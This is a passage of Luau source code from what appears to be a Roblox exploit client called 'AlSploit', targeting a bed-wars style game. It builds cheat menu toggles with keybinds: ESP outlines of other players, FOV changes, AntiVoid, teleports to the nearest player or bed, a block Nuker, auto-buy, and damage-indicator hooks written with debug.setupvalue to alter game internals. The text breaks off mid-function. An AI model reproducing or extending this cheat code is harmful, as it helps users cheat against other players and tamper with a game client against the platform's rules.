  4125.  
  4126. task.spawn(function()
  4127. local InstanceUI
  4128. local Value = false
  4129.  
  4130. DropDownButton.Activated:Connect(function()
  4131. Value = not Value
  4132.  
  4133. if Value == true then
  4134. InstanceUI = CreateKeyBind(UtilityTab, Settings.AutoBuy.KeyBind, LayoutOrder + 1, function(CallBack)
  4135. Settings.AutoBuy.KeyBind = CallBack
  4136. end)
  4137. end
  4138.  
  4139. if Value == false then
  4140. InstanceUI:Destroy()
  4141. end
  4142. end)
  4143. end)
  4144.  
  4145. task.spawn(function()
  4146. UserInputService.InputBegan:Connect(function(Input)
  4147. if not UserInputService:GetFocusedTextBox() then
  4148. if Input.KeyCode.Name == Settings.AutoBuy.KeyBind then
  4149. Settings.AutoBuy.Value = not Settings.AutoBuy.Value
  4150.  
  4151. if Settings.AutoBuy.Value == true then
  4152. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4153. end
  4154.  
  4155. if Settings.AutoBuy.Value == false then
  4156. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4157. end
  4158. end
  4159. end
  4160. end)
  4161. end)
  4162. end)
  4163.  
  4164. task.spawn(function()
  4165. local AutoKit, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "AutoKit", Settings.AutoKit.Value, function(CallBack)
  4166. Settings.AutoKit.Value = CallBack
  4167. end)
  4168.  
  4169. task.spawn(function()
  4170. local InstanceUI
  4171. local Value = false
  4172.  
  4173. DropDownButton.Activated:Connect(function()
  4174. Value = not Value
  4175.  
  4176. if Value == true then
  4177. InstanceUI = CreateKeyBind(UtilityTab, Settings.AutoKit.KeyBind, LayoutOrder + 1, function(CallBack)
  4178. Settings.AutoKit.KeyBind = CallBack
  4179. end)
  4180. end
  4181.  
  4182. if Value == false then
  4183. InstanceUI:Destroy()
  4184. end
  4185. end)
  4186. end)
  4187.  
  4188. task.spawn(function()
  4189. UserInputService.InputBegan:Connect(function(Input)
  4190. if not UserInputService:GetFocusedTextBox() then
  4191. if Input.KeyCode.Name == Settings.AutoKit.KeyBind then
  4192. Settings.AutoKit.Value = not Settings.AutoKit.Value
  4193.  
  4194. if Settings.AutoKit.Value == true then
  4195. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4196. end
  4197.  
  4198. if Settings.AutoKit.Value == false then
  4199. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4200. end
  4201. end
  4202. end
  4203. end)
  4204. end)
  4205. end)
  4206.  
  4207. task.spawn(function()
  4208. local Fov, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "Fov", Settings.Fov.Value, function(CallBack)
  4209. Settings.Fov.Value = CallBack
  4210.  
  4211. if Settings.Fov.Value == true then
  4212. FovController:setFOV(Settings.Fov.Fov)
  4213. end
  4214.  
  4215. if Settings.Fov.Value == false then
  4216. FovController:setFOV(ClientHandlerStore:getState().Settings.fov)
  4217. end
  4218. end)
  4219.  
  4220. task.spawn(function()
  4221. local InstanceUI
  4222. local Value = false
  4223.  
  4224. DropDownButton.Activated:Connect(function()
  4225. Value = not Value
  4226.  
  4227. if Value == true then
  4228. InstanceUI = CreateKeyBind(UtilityTab, Settings.Fov.KeyBind, LayoutOrder + 1, function(CallBack)
  4229. Settings.Fov.KeyBind = CallBack
  4230. end)
  4231. end
  4232.  
  4233. if Value == false then
  4234. InstanceUI:Destroy()
  4235. end
  4236. end)
  4237. end)
  4238.  
  4239. task.spawn(function()
  4240. UserInputService.InputBegan:Connect(function(Input)
  4241. if not UserInputService:GetFocusedTextBox() then
  4242. if Input.KeyCode.Name == Settings.Fov.KeyBind then
  4243. Settings.Fov.Value = not Settings.Fov.Value
  4244.  
  4245. if Settings.Fov.Value == true then
  4246. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4247. end
  4248.  
  4249. if Settings.Fov.Value == false then
  4250. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4251. end
  4252. end
  4253. end
  4254. end)
  4255. end)
  4256.  
  4257. task.spawn(function()
  4258. local InstanceUI
  4259. local Value = false
  4260.  
  4261. DropDownButton.Activated:Connect(function()
  4262. Value = not Value
  4263.  
  4264. if Value == true then
  4265. InstanceUI = CreateSlider(UtilityTab, "Fov", Settings.Fov.Fov, 120, LayoutOrder + 2, function(CallBack)
  4266. Settings.Fov.Fov = CallBack
  4267.  
  4268. if Settings.Fov.Value == true then
  4269. FovController:setFOV(Settings.Fov.Fov)
  4270. end
  4271. end)
  4272. end
  4273.  
  4274. if Value == false then
  4275. InstanceUI:Destroy()
  4276. end
  4277. end)
  4278. end)
  4279. end)
  4280.  
  4281. task.spawn(function()
  4282. local Esp, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "Esp", Settings.Esp.Value, function(CallBack)
  4283. Settings.Esp.Value = CallBack
  4284.  
  4285. if Settings.Esp.Value == true then
  4286. task.spawn(function()
  4287. for i, v in next, PlayerService:GetPlayers() do
  4288. if IsAlive(v) and v ~= LocalPlayer and not v.Character.PrimaryPart:FindFirstChild("Esp") then
  4289. CreateOutline(v)
  4290. end
  4291.  
  4292. v.CharacterAdded:Connect(function(Character)
  4293. task.wait(0.3)
  4294.  
  4295. if Settings.Esp.Value == true and IsAlive(PlayerService:FindFirstChild(Character.Name)) and v ~= LocalPlayer and not v.Character.PrimaryPart:FindFirstChild("Esp") then
  4296. CreateOutline(v)
  4297. end
  4298. end)
  4299. end
  4300. end)
  4301.  
  4302. task.spawn(function()
  4303. PlayerService.PlayerAdded:Connect(function(Player)
  4304. Player.CharacterAdded:Connect(function()
  4305. task.wait(0.3)
  4306.  
  4307. if Settings.Esp.Value == true and IsAlive(Player) and Player ~= LocalPlayer and not Player.Character.PrimaryPart:FindFirstChild("Esp") then
  4308. CreateOutline(Player)
  4309. end
  4310. end)
  4311. end)
  4312. end)
  4313. end
  4314.  
  4315. if Settings.Esp.Value == false then
  4316. for i, v in next, PlayerService:GetPlayers() do
  4317. if IsAlive(v) and CallBack == false and v.Character.PrimaryPart:FindFirstChild("Esp") then
  4318. v.Character.PrimaryPart:FindFirstChild("Esp"):Destroy()
  4319. end
  4320. end
  4321. end
  4322. end)
  4323.  
  4324. task.spawn(function()
  4325. local InstanceUI
  4326. local Value = false
  4327.  
  4328. DropDownButton.Activated:Connect(function()
  4329. Value = not Value
  4330.  
  4331. if Value == true then
  4332. InstanceUI = CreateKeyBind(UtilityTab, Settings.Esp.KeyBind, LayoutOrder + 1, function(CallBack)
  4333. Settings.Esp.KeyBind = CallBack
  4334. end)
  4335. end
  4336.  
  4337. if Value == false then
  4338. InstanceUI:Destroy()
  4339. end
  4340. end)
  4341. end)
  4342.  
  4343. task.spawn(function()
  4344. UserInputService.InputBegan:Connect(function(Input)
  4345. if not UserInputService:GetFocusedTextBox() then
  4346. if Input.KeyCode.Name == Settings.Esp.KeyBind then
  4347. Settings.Esp.Value = not Settings.Esp.Value
  4348.  
  4349. if Settings.Esp.Value == true then
  4350. task.spawn(function()
  4351. for i, v in next, PlayerService:GetPlayers() do
  4352. if IsAlive(v) and v ~= LocalPlayer and not v.Character.PrimaryPart:FindFirstChild("Esp") then
  4353. CreateOutline(v)
  4354. end
  4355.  
  4356. v.CharacterAdded:Connect(function(Character)
  4357. task.wait(0.3)
  4358.  
  4359. if Settings.Esp.Value == true and IsAlive(PlayerService:FindFirstChild(Character.Name)) and v ~= LocalPlayer and not v.Character.PrimaryPart:FindFirstChild("Esp") then
  4360. CreateOutline(v)
  4361. end
  4362. end)
  4363. end
  4364. end)
  4365.  
  4366. task.spawn(function()
  4367. PlayerService.PlayerAdded:Connect(function(Player)
  4368. Player.CharacterAdded:Connect(function()
  4369. task.wait(0.3)
  4370.  
  4371. if Settings.Esp.Value == true and IsAlive(Player) and Player ~= LocalPlayer and not Player.Character.PrimaryPart:FindFirstChild("Esp") then
  4372. CreateOutline(Player)
  4373. end
  4374. end)
  4375. end)
  4376. end)
  4377.  
  4378. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4379. end
  4380.  
  4381. if Settings.Esp.Value == false then
  4382. task.spawn(function()
  4383. for i, v in next, PlayerService:GetPlayers() do
  4384. if IsAlive(v) and v.Character.PrimaryPart:FindFirstChild("Esp") then
  4385. v.Character.PrimaryPart:FindFirstChild("Esp"):Destroy()
  4386. end
  4387. end
  4388. end)
  4389.  
  4390. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4391. end
  4392. end
  4393. end
  4394. end)
  4395. end)
  4396. end)
  4397.  
  4398. task.spawn(function()
  4399. local GalaxySky, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "GalaxySky", Settings.GalaxySky.Value, function(CallBack)
  4400. Settings.GalaxySky.Value = CallBack
  4401.  
  4402. if Settings.GalaxySky.Value == true then
  4403. if LightingService:FindFirstChild("Sky") and Settings.GalaxySky.Value == true then
  4404. LightingService.Sky.Parent = ReplicatedStorage
  4405.  
  4406. local Sky = Instance.new("Sky")
  4407. local ID = 8281961896
  4408.  
  4409. Sky.SkyboxBk = "http://www.roblox.com/asset/?id=" .. ID
  4410. Sky.SkyboxDn = "http://www.roblox.com/asset/?id=" .. ID
  4411. Sky.SkyboxFt = "http://www.roblox.com/asset/?id=" .. ID
  4412. Sky.SkyboxLf = "http://www.roblox.com/asset/?id=" .. ID
  4413. Sky.SkyboxRt = "http://www.roblox.com/asset/?id=" .. ID
  4414. Sky.SkyboxUp = "http://www.roblox.com/asset/?id=" .. ID
  4415.  
  4416. Sky.Parent = LightingService
  4417. end
  4418. end
  4419.  
  4420. if Settings.GalaxySky.Value == false then
  4421. if ReplicatedStorage:FindFirstChild("Sky") and LightingService:FindFirstChild("Sky") and Settings.GalaxySky.Value == false then
  4422. LightingService.Sky:Destroy()
  4423.  
  4424. ReplicatedStorage.Sky.Parent = LightingService
  4425. end
  4426. end
  4427. end)
  4428.  
  4429. task.spawn(function()
  4430. local InstanceUI
  4431. local Value = false
  4432.  
  4433. DropDownButton.Activated:Connect(function()
  4434. Value = not Value
  4435.  
  4436. if Value == true then
  4437. InstanceUI = CreateKeyBind(WorldTab, Settings.GalaxySky.KeyBind, LayoutOrder + 1, function(CallBack)
  4438. Settings.GalaxySky.KeyBind = CallBack
  4439. end)
  4440. end
  4441.  
  4442. if Value == false then
  4443. InstanceUI:Destroy()
  4444. end
  4445. end)
  4446. end)
  4447.  
  4448. task.spawn(function()
  4449. UserInputService.InputBegan:Connect(function(Input)
  4450. if not UserInputService:GetFocusedTextBox() then
  4451. if Input.KeyCode.Name == Settings.GalaxySky.KeyBind then
  4452. Settings.GalaxySky.Value = not Settings.GalaxySky.Value
  4453.  
  4454. if Settings.GalaxySky.Value == true then
  4455. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4456. end
  4457.  
  4458. if Settings.GalaxySky.Value == false then
  4459. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4460. end
  4461. end
  4462. end
  4463. end)
  4464. end)
  4465. end)
  4466.  
  4467. task.spawn(function()
  4468. local Indicators, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "Indicators", Settings.Indicators.Value, function(CallBack)
  4469. Settings.Indicators.Value = CallBack
  4470.  
  4471. local OldObj = debug.getupvalue(DamageIndicator, 10)
  4472.  
  4473. if Settings.Indicators.Value == true then
  4474. local Messages = {"AlSploit", "Best Client", ":D", "💀"}
  4475.  
  4476. debug.setupvalue(DamageIndicator, 10, {
  4477. Create = function(self, obj, ...)
  4478. task.spawn(function()
  4479. if Settings.Indicators.Value == true then
  4480. local Message = Messages[math.random(#Messages)]
  4481.  
  4482. obj.Parent.Text = Message
  4483. obj.Parent.TextColor3 = Color3.fromHSV(tick() % 10 / 10, 2, 2)
  4484.  
  4485. task.spawn(function()
  4486. task.wait(0.75)
  4487.  
  4488. if Settings.Indicators.Value == true then
  4489. obj.Parent:Destroy()
  4490. end
  4491. end)
  4492. end
  4493. end)
  4494. end
  4495. })
  4496. end
  4497.  
  4498. if Settings.Indicators.Value == false then
  4499. debug.setupvalue(DamageIndicator, 10, {
  4500. Create = function(self, obj, ...)
  4501. obj = OldObj
  4502.  
  4503. task.spawn(function()
  4504. task.wait(0.5)
  4505. obj.Parent:Destroy()
  4506. end)
  4507. end
  4508. })
  4509. end
  4510. end)
  4511.  
  4512. task.spawn(function()
  4513. local InstanceUI
  4514. local Value = false
  4515.  
  4516. DropDownButton.Activated:Connect(function()
  4517. Value = not Value
  4518.  
  4519. if Value == true then
  4520. InstanceUI = CreateKeyBind(WorldTab, Settings.Indicators.KeyBind, LayoutOrder + 1, function(CallBack)
  4521. Settings.Indicators.KeyBind = CallBack
  4522. end)
  4523. end
  4524.  
  4525. if Value == false then
  4526. InstanceUI:Destroy()
  4527. end
  4528. end)
  4529. end)
  4530.  
  4531. task.spawn(function()
  4532. UserInputService.InputBegan:Connect(function(Input)
  4533. if not UserInputService:GetFocusedTextBox() then
  4534. if Input.KeyCode.Name == Settings.Indicators.KeyBind then
  4535. Settings.Indicators.Value = not Settings.Indicators.Value
  4536.  
  4537. if Settings.Indicators.Value == true then
  4538. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4539. end
  4540.  
  4541. if Settings.Indicators.Value == false then
  4542. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4543. end
  4544. end
  4545. end
  4546. end)
  4547. end)
  4548. end)
  4549.  
  4550. task.spawn(function()
  4551. local AntiVoid, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "AntiVoid", Settings.AntiVoid.Value, function(CallBack)
  4552. Settings.AntiVoid.Value = CallBack
  4553.  
  4554. if Settings.AntiVoid.Value == true then
  4555. task.spawn(function()
  4556. repeat task.wait() until GetMatchState() ~= 0
  4557.  
  4558. task.wait(0.3)
  4559.  
  4560. local OldLowestPosition = math.huge
  4561. local LowestPosition = 99999
  4562.  
  4563. local BlockRaycastParameters = RaycastParams.new()
  4564.  
  4565. BlockRaycastParameters.FilterType = Enum.RaycastFilterType.Include
  4566. BlockRaycastParameters.FilterDescendantsInstances = CollectionService:GetTagged("block")
  4567.  
  4568. AntiVoidPart = Instance.new("Part")
  4569. AntiVoidPart.Parent = WorkSpace
  4570. AntiVoidPart.Material = Enum.Material.Neon
  4571. AntiVoidPart.Name = "AntiVoidPart"
  4572. AntiVoidPart.Size = Vector3.new(99999, 1, 99999)
  4573. AntiVoidPart.Position = Vector3.new(0, 99999, 0)
  4574. AntiVoidPart.Transparency = Settings.AntiVoid.Transparency
  4575. AntiVoidPart.Color = Color3.new(0.666667, 0, 1)
  4576. AntiVoidPart.CanCollide = false
  4577. AntiVoidPart.Anchored = true
  4578.  
  4579. for i, v in next, CollectionService:GetTagged("block") do
  4580. local NewRay = WorkSpace:Raycast(v.Position + Vector3.new(0, 800, 0), Vector3.new(0, -1000, 0), BlockRaycastParameters)
  4581.  
  4582. if NewRay then
  4583. LowestPosition = NewRay.Position.Y
  4584. if LowestPosition < OldLowestPosition then
  4585. OldLowestPosition = LowestPosition
  4586.  
  4587. AntiVoidPart.Position = Vector3.new(0, LowestPosition - 4, 0)
  4588. end
  4589. end
  4590. end
  4591.  
  4592. AntiVoidPart.Touched:Connect(function()
  4593. if IsAlive(LocalPlayer) and AntiVoidPart and LocalPlayer.Character.PrimaryPart.Position.Y <= WorkSpace.AntiVoidPart.Position.Y then
  4594. for i = 1, 3 do
  4595. if IsAlive(LocalPlayer) then
  4596. LocalPlayer.Character.PrimaryPart.Velocity = Vector3.new(LocalPlayer.Character.PrimaryPart.Velocity.X, 100, LocalPlayer.Character.PrimaryPart.Velocity.Z)
  4597. end
  4598. end
  4599. end
  4600. end)
  4601. end)
  4602. end
  4603.  
  4604. if Settings.AntiVoid.Value == false then
  4605. if AntiVoidPart then
  4606. AntiVoidPart:Destroy()
  4607. end
  4608. end
  4609. end)
  4610.  
  4611. task.spawn(function()
  4612. local InstanceUI
  4613. local Value = false
  4614.  
  4615. DropDownButton.Activated:Connect(function()
  4616. Value = not Value
  4617.  
  4618. if Value == true then
  4619. InstanceUI = CreateKeyBind(WorldTab, Settings.AntiVoid.KeyBind, LayoutOrder + 1, function(CallBack)
  4620. Settings.AntiVoid.KeyBind = CallBack
  4621. end)
  4622. end
  4623.  
  4624. if Value == false then
  4625. InstanceUI:Destroy()
  4626. end
  4627. end)
  4628. end)
  4629.  
  4630. task.spawn(function()
  4631. UserInputService.InputBegan:Connect(function(Input)
  4632. if not UserInputService:GetFocusedTextBox() then
  4633. if Input.KeyCode.Name == Settings.AntiVoid.KeyBind then
  4634. Settings.AntiVoid.Value = not Settings.AntiVoid.Value
  4635.  
  4636. if Settings.AntiVoid.Value == true then
  4637. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4638. end
  4639.  
  4640. if Settings.AntiVoid.Value == false then
  4641. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4642. end
  4643. end
  4644. end
  4645. end)
  4646. end)
  4647.  
  4648. task.spawn(function()
  4649. local InstanceUI
  4650. local Value = false
  4651.  
  4652. DropDownButton.Activated:Connect(function()
  4653. Value = not Value
  4654.  
  4655. if Value == true then
  4656. InstanceUI = CreateSlider(WorldTab, "Transparency", Settings.AntiVoid.Transparency * 100, 100, LayoutOrder + 2, function(CallBack)
  4657. Settings.AntiVoid.Transparency = CallBack / 100
  4658.  
  4659. task.spawn(function()
  4660. if AntiVoidPart then
  4661. AntiVoidPart.Transparency = Settings.AntiVoid.Transparency
  4662. end
  4663. end)
  4664. end)
  4665. end
  4666.  
  4667. if Value == false then
  4668. InstanceUI:Destroy()
  4669. end
  4670. end)
  4671. end)
  4672. end)
  4673.  
  4674. task.spawn(function()
  4675. local PlayerTp, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "PlayerTp", Settings.PlayerTp.Value, function(CallBack)
  4676. Settings.PlayerTp.Value = CallBack
  4677.  
  4678. task.spawn(function()
  4679. if Settings.PlayerTp.Value == true then
  4680. if IsAlive(LocalPlayer) then
  4681. repeat task.wait() until GetMatchState() ~= 0
  4682.  
  4683. local NearestPlayer = FindNearestPlayer()
  4684.  
  4685. if NearestPlayer ~= nil then
  4686. KillHumanoid()
  4687.  
  4688. LocalPlayer.CharacterAdded:Connect(function()
  4689. repeat task.wait() until IsAlive(LocalPlayer)
  4690.  
  4691. if IsAlive(LocalPlayer) and Settings.PlayerTp.Value == true then
  4692. task.wait(0.15)
  4693.  
  4694. TweenToNearestPlayer()
  4695. end
  4696. end)
  4697. end
  4698. end
  4699.  
  4700. if not IsAlive(LocalPlayer) then
  4701. LocalPlayer.CharacterAdded:Connect(function()
  4702. repeat task.wait() until IsAlive(LocalPlayer)
  4703.  
  4704. if IsAlive(LocalPlayer) and Settings.PlayerTp.Value == true and FindNearestPlayer() then
  4705. task.wait(0.25)
  4706.  
  4707. TweenToNearestPlayer()
  4708. end
  4709. end)
  4710. end
  4711. end
  4712. end)
  4713. end)
  4714.  
  4715. task.spawn(function()
  4716. local InstanceUI
  4717. local Value = false
  4718.  
  4719. DropDownButton.Activated:Connect(function()
  4720. Value = not Value
  4721.  
  4722. if Value == true then
  4723. InstanceUI = CreateKeyBind(WorldTab, Settings.PlayerTp.KeyBind, LayoutOrder + 1, function(CallBack)
  4724. Settings.PlayerTp.KeyBind = CallBack
  4725. end)
  4726. end
  4727.  
  4728. if Value == false then
  4729. InstanceUI:Destroy()
  4730. end
  4731. end)
  4732. end)
  4733.  
  4734. task.spawn(function()
  4735. UserInputService.InputBegan:Connect(function(Input)
  4736. if not UserInputService:GetFocusedTextBox() then
  4737. if Input.KeyCode.Name == Settings.PlayerTp.KeyBind then
  4738. Settings.PlayerTp.Value = not Settings.PlayerTp.Value
  4739.  
  4740. if Settings.PlayerTp.Value == true then
  4741. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4742. end
  4743.  
  4744. if Settings.PlayerTp.Value == false then
  4745. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4746. end
  4747. end
  4748. end
  4749. end)
  4750. end)
  4751. end)
  4752.  
  4753. task.spawn(function()
  4754. local BedTp, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "BedTp", Settings.BedTp.Value, function(CallBack)
  4755. Settings.BedTp.Value = CallBack
  4756.  
  4757. task.spawn(function()
  4758. if Settings.BedTp.Value == true then
  4759. if IsAlive(LocalPlayer) then
  4760. repeat task.wait() until GetMatchState() ~= 0
  4761.  
  4762. local NearestPlayer = FindNearestPlayer()
  4763.  
  4764. if NearestPlayer ~= nil then
  4765. KillHumanoid()
  4766.  
  4767. LocalPlayer.CharacterAdded:Connect(function()
  4768. repeat task.wait() until IsAlive(LocalPlayer)
  4769.  
  4770. if IsAlive(LocalPlayer) and Settings.BedTp.Value == true then
  4771. task.wait(0.15)
  4772.  
  4773. TweenToNearestBed()
  4774. end
  4775. end)
  4776. end
  4777. end
  4778.  
  4779. if not IsAlive(LocalPlayer) then
  4780. LocalPlayer.CharacterAdded:Connect(function()
  4781. repeat task.wait() until IsAlive(LocalPlayer)
  4782.  
  4783. if IsAlive(LocalPlayer) and Settings.BedTp.Value == true and FindNearestPlayer() then
  4784. task.wait(0.25)
  4785.  
  4786. TweenToNearestBed()
  4787. end
  4788. end)
  4789. end
  4790. end
  4791. end)
  4792. end)
  4793.  
  4794. task.spawn(function()
  4795. local InstanceUI
  4796. local Value = false
  4797.  
  4798. DropDownButton.Activated:Connect(function()
  4799. Value = not Value
  4800.  
  4801. if Value == true then
  4802. InstanceUI = CreateKeyBind(WorldTab, Settings.BedTp.KeyBind, LayoutOrder + 1, function(CallBack)
  4803. Settings.BedTp.KeyBind = CallBack
  4804. end)
  4805. end
  4806.  
  4807. if Value == false then
  4808. InstanceUI:Destroy()
  4809. end
  4810. end)
  4811. end)
  4812.  
  4813. task.spawn(function()
  4814. UserInputService.InputBegan:Connect(function(Input)
  4815. if not UserInputService:GetFocusedTextBox() then
  4816. if Input.KeyCode.Name == Settings.BedTp.KeyBind then
  4817. Settings.BedTp.Value = not Settings.BedTp.Value
  4818.  
  4819. if Settings.BedTp.Value == true then
  4820. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4821. end
  4822.  
  4823. if Settings.BedTp.Value == false then
  4824. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4825. end
  4826. end
  4827. end
  4828. end)
  4829. end)
  4830. end)
  4831.  
  4832. task.spawn(function()
  4833. local Sigma, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "Sigma", Settings.Sigma.Value, function(CallBack)
  4834. Settings.Sigma.Value = CallBack
  4835.  
  4836. if Settings.Sigma.Value == true then
  4837. task.spawn(function()
  4838. if LocalPlayer.Character:FindFirstChild("Cape"):FindFirstChild("Decal") then
  4839. LocalPlayer.Character:FindFirstChild("Cape"):FindFirstChild("Decal").Texture = "rbxassetid://" .. 13528140280
  4840. end
  4841. end)
  4842. end
  4843.  
  4844. if Settings.Sigma.Value == false then
  4845. task.spawn(function()
  4846. if LocalPlayer.Character:FindFirstChild("Cape"):FindFirstChild("Decal") then
  4847. LocalPlayer.Character:FindFirstChild("Cape"):FindFirstChild("Decal").Texture = "rbxassetid://" .. 16223063079
  4848. end
  4849. end)
  4850. end
  4851. end)
  4852.  
  4853. task.spawn(function()
  4854. local InstanceUI
  4855. local Value = false
  4856.  
  4857. DropDownButton.Activated:Connect(function()
  4858. Value = not Value
  4859.  
  4860. if Value == true then
  4861. InstanceUI = CreateKeyBind(WorldTab, Settings.Sigma.KeyBind, LayoutOrder + 1, function(CallBack)
  4862. Settings.Sigma.KeyBind = CallBack
  4863. end)
  4864. end
  4865.  
  4866. if Value == false then
  4867. InstanceUI:Destroy()
  4868. end
  4869. end)
  4870. end)
  4871.  
  4872. task.spawn(function()
  4873. UserInputService.InputBegan:Connect(function(Input)
  4874. if not UserInputService:GetFocusedTextBox() then
  4875. if Input.KeyCode.Name == Settings.Sigma.KeyBind then
  4876. Settings.Sigma.Value = not Settings.Sigma.Value
  4877.  
  4878. if Settings.Sigma.Value == true then
  4879. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4880. end
  4881.  
  4882. if Settings.Sigma.Value == false then
  4883. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4884. end
  4885. end
  4886. end
  4887. end)
  4888. end)
  4889. end)
  4890.  
  4891. task.spawn(function()
  4892. local Nuker, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "Nuker", Settings.Nuker.Value, function(CallBack)
  4893. Settings.Nuker.Value = CallBack
  4894. end)
  4895.  
  4896. task.spawn(function()
  4897. local InstanceUI
  4898. local Value = false
  4899.  
  4900. DropDownButton.Activated:Connect(function()
  4901. Value = not Value
  4902.  
  4903. if Value == true then
  4904. InstanceUI = CreateKeyBind(WorldTab, Settings.Nuker.KeyBind, LayoutOrder + 1, function(CallBack)
  4905. Settings.Nuker.KeyBind = CallBack
  4906. end)
  4907. end
  4908.  
  4909. if Value == false then
  4910. InstanceUI:Destroy()
  4911. end
  4912. end)
  4913. end)
  4914.  
  4915. task.spawn(function()
  4916. UserInputService.InputBegan:Connect(function(Input)
  4917. if not UserInputService:GetFocusedTextBox() then
  4918. if Input.KeyCode.Name == Settings.Nuker.KeyBind then
  4919. Settings.Nuker.Value = not Settings.Nuker.Value
  4920.  
  4921. if Settings.Nuker.Value == true then
  4922. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4923. end
  4924.  
  4925. if Settings.Nuker.Value == false then
  4926. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4927. end
  4928. end
  4929. end
  4930. end)
  4931. end)
  4932.  
  4933. task.spawn(function()
  4934. local InstanceUI
  4935. local Value = false
  4936.  
  4937. DropDownButton.Activated:Connect(function()
  4938. Value = not Value
  4939.  
  4940. if Value == true then
  4941. InstanceUI = CreateMiniToggle(WorldTab, "BreakOres", Settings.Nuker.BreakOres, LayoutOrder + 2, function(CallBack)
  4942. Settings.Nuker.BreakOres = CallBack
  4943. end)
  4944. end
  4945.  
  4946. if Value == false then
  4947. InstanceUI:Destroy()
  4948. end
  4949. end)
  4950. end)
  4951.  
  4952. task.spawn(function()
  4953. local InstanceUI
  4954. local Value = false
  4955.  
  4956. DropDownButton.Activated:Connect(function()
  4957. Value = not Value
  4958.  
  4959. if Value == true then
  4960. InstanceUI = CreateSlider(WorldTab, "Range", Settings.Nuker.Range, 30, LayoutOrder + 3, function(CallBack)
  4961. Settings.Nuker.Range = CallBack
  4962. end)
  4963. end
  4964.  
  4965. if Value == false then
  4966. InstanceUI:Destroy()
  4967. end
  4968. end)
  4969. end)
  4970. end)
  4971.  
  4972. task.spawn(function()
  4973. local Cape, DropDownButton, LayoutOrder, UIGradient = CreateToggle(WorldTab, "Cape", Settings.Cape.Value, function(CallBack)
  4974. Settings.Cape.Value = CallBack
  4975.  
  4976. if Settings.Cape.Value == true then
  4977. task.spawn(function()
  4978. local DecalId = (Settings.Sigma.Value and 13528140280 or 16223063079)
